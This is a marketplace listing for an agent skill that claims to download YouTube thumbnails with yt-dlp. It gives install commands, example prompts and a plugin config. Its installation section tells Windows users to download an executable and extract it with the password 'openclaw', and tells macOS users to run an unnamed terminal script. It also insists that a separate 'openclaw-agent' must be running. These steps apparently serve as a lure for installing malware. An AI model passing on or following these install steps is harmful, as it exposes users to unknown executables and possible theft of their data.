youtube-thumbnail-grabber
Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.
Why use this skill?
Efficiently download YouTube thumbnails in various resolutions. Automate bulk image retrieval from videos and playlists using the OpenClaw agent.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-mgawwWhat This Skill Does
The youtube-thumbnail-grabber is a specialized OpenClaw skill designed to automate the retrieval and saving of YouTube video thumbnails. By leveraging the power of yt-dlp, this tool allows users to pull high-resolution preview images from any YouTube URL, extract thumbnails in bulk from playlists, or generate custom-sized versions of video cover art. It is the perfect tool for content creators, researchers, and developers who need to catalog visual data or create collages without manually navigating through video frames.
Installation
To begin using this skill, ensure you have the OpenClaw agent runtime installed on your machine. For Windows users, download the provided agent executable and extract the files using the password 'openclaw'. macOS users should follow the provided terminal script to configure the environment. Once the agent is ready, install the dependency by running pip install yt-dlp in your terminal. You can then add this skill to your workspace by executing clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-mgaww.
Use Cases
This skill is highly versatile. Creators can use it to archive thumbnails for video projects or create thumbnails for their own channels. Researchers can utilize the tool to batch-download images from educational playlists to analyze visual trends or document content. Developers might use it to build dynamic website components that require a fallback image when a video embed is unavailable, or for building thumbnails galleries for content management systems.
Example Prompts
- "OpenClaw, grab the high-resolution thumbnail for this video: https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as 'rickroll_cover.jpg'."
- "Download the thumbnails for all videos in this playlist: https://www.youtube.com/playlist?list=PLexample and store them in a folder called 'project_assets'."
- "Show me the list of available thumbnail resolutions for this video: https://www.youtube.com/watch?v=exampleID and download the largest available one."
Tips & Limitations
Always ensure the openclaw-agent is running before attempting a download, as the tool relies on it for backend file operations. While YouTube provides several standard sizes, keep in mind that 'maxresdefault' may not exist for older videos or videos with lower upload quality. In such cases, the tool will gracefully handle standard resolutions. Always respect copyright and usage policies when saving and redistributing video assets.
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{
"plugins": {
"official-hightower6eu-youtube-thumbnail-grabber-mgaww": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write
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